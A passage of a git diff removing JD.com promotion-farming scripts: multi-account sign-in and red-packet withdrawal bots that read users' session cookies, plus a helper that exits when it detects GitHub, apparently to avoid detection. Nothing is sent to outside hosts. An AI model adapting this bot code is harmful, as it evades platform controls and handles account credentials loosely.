r ? m(n) : p(n) } $.md5 = A }(this); -function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } -function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/activity/jd_zsign.js b/activity/jd_zsign.js deleted file mode 100644 index b5529c5..0000000 --- a/activity/jd_zsign.js +++ /dev/null @@ -1,184 +0,0 @@ - -/** -芥么签到 -入口:微信-芥么小程序 -cron 11 0,9 * * * jd_zsign.js -TG:https://t.me/sheeplost -*/ -const $ = new Env('芥么签到'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let appid = "KRFM89OcZwyjnyOIPyAZxA"; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main() - } - } -})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) - -async function main() { - $.hotFlag = false; - await apSignIn_day(); - await signPrizeDetailList(); - if ($.hotFlag) return; - if ($.tasklist) { - for (const vo of $.tasklist) { - if (vo.remainTime != null) { - $.log(`去提现金额:${vo.prizeValue}`) - await apCashWithDraw(vo.prizeType, vo.business, vo.id, vo.poolBaseId, vo.prizeGroupId, vo.prizeBaseId) - } - } - if ($.tasklist[0].remainTime === null) { - console.log("当天已提现") - } - } else { - $.log("没有获取到信息") - } -} -function apCashWithDraw(prizeType, business, id, poolBaseId, prizeGroupId, prizeBaseId) { - let body = { "linkId": appid, "businessSource": "DAY_DAY_RED_PACKET_SIGN", "base": { "prizeType": prizeType, "business": business, "id": id, "poolBaseId": poolBaseId, "prizeGroupId": prizeGroupId, "prizeBaseId": prizeBaseId } } - return new Promise(resolve => { - $.post(taskPostUrl("apCashWithDraw", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data.success) { - if (data.data.status === "310") { - console.log(data.data.message) - } else { - console.log(JSON.stringify(data)); - } - } else { - console.log(JSON.stringify(data)); - } - } else { - console.log("没有返回数据") - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function signPrizeDetailList() { - let body = { "linkId": appid, "serviceName": "dayDaySignGetRedEnvelopeSignService", "business": 1, "pageSize": 20, "page": 1 } - return new Promise(resolve => { - $.post(taskPostUrl("signPrizeDetailList", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - $.tasklist = data.data.prizeDrawBaseVoPageBean.items; - } else { - console.log("没有返回数据") - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function apSignIn_day() { - let body = { "linkId": appid, "serviceName": "dayDaySignGetRedEnvelopeSignService", "business": 1 } - return new Promise(resolve => { - $.post(taskPostUrl("apSignIn_day", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data.success) { - if (data.data.retCode === 0) { - console.log(`签到状态:${data.errMsg}`) - } else if (data.data.retCode === 10010) { - console.log(data.data.retMessage) - $.hotFlag = true; - } else { - console.log(data.data.retMessage) - } - } else { - console.log(JSON.stringify(data)); - } - } else { - console.log("没有返回数据") - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskPostUrl(function_id, body) { - return { - url: `https://api.m.jd.com/?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date().getTime()}&appid=activities_platform`, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://zsign.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": UA, - "Content-Length": "206", - "Accept-Language": "zh-cn", - "Cookie": cookie, - } - } -} -function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } -function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/activity/jr_sign.js b/activity/jr_sign.js deleted file mode 100644 index 8b92eb7..0000000 --- a/activity/jr_sign.js +++ /dev/null @@ -1,197 +0,0 @@ -/* -金融打卡领年终奖 -活动时间:2020-12-8 到 2020-12-31 -更新地址:jr_sign.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#金融打卡领年终奖 -10 6 * * * jr_sign.js, tag=金融打卡领年终奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true - -================Loon============== -[Script] -cron "10 6 * * *" script-path=jr_sign.js, tag=金融打卡领年终奖 - -===============Surge================= -金融打卡领年终奖 = type=cron,cronexp="10 6 * * *",wake-system=1,timeout=3600,script-path=jr_sign.js - -============小火箭========= -金融打卡领年终奖 = type=cron,script-path=jr_sign.js, cronexpr="10 6 * * *", timeout=3600, enable=true - */ -const $ = new Env('金融打卡领年终奖'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await sign() - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(async resolve => { - let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; - if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { - $.msg($.name, '活动已结束', `咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) - } else { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - } - resolve() - }) -} - - -function sign() { - return new Promise(resolve => { - $.post(taskUrl(), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - console.log(data.resultData.message) - message += `${data.resultData.message}` - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskUrl() { - return { - url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/signIn12?_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - body : 'reqData=%7B%22channelLv%22%3A%22changjinglouceng%22%2C%22site%22%3A%22JD_JR_APP%22%7D', - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "ms.jr.jd.com", - "Referer": 